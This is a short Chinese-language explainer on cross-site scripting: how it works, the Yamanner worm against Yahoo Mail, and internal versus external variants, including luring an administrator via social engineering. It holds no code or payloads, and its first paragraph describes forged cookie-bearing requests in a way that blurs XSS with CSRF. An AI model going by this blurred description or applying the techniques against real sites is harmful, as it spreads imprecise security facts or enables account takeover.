XSS 属于被动式的攻击。攻击者先构造一个跨站页面,利用script、IMG、IFRAME等各种方式使得用户浏览这个页面时,触发对被攻击站点的http 请求。此时,如果被攻击者如果已经在被攻击站点登录,就会持有该站点cookie。这样该站点会认为被攻击者发起了一个http 请求。而实际上这个请求是在被攻击者不知情的情况下发起的,由此攻击者在一定程度上达到了冒充被攻击者的目的。精心的构造这个攻击请求,可以达到冒充发文,夺取权限等等多个攻击目的。在常见的攻击实例中,这个请求是通过script 来发起的,因此被称为Cross Site Script。攻击Yahoo Mail 的Yamanner 蠕虫是一个著名的XSS 攻击实例。Yahoo Mail 系统有一个漏洞,当用户在web 上察看信件时,有可能执行到信件内的javascript 代码。病毒可以利用这个漏洞使被攻击用户运行病毒的script。同时Yahoo Mail 系统使用了Ajax技术,这样病毒的script 可以很容易的向Yahoo Mail 系统发起ajax 请求,从而得到用户的地址簿,并发送病毒给他人。
XSS 攻击主要分为两类:一类是来自内部的攻击,主要指的是利用WEB 程序自身的漏洞,提交特殊的字符串,从而使得跨站页面直接存在于被攻击站点上,这个字符串被称为跨站语句。这一类攻击所利用的漏洞非常类似于SQL Injection 漏洞,都是WEB程序没有对用户输入作充分的检查和过滤。上文的Yamanner 就是一例。
另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的。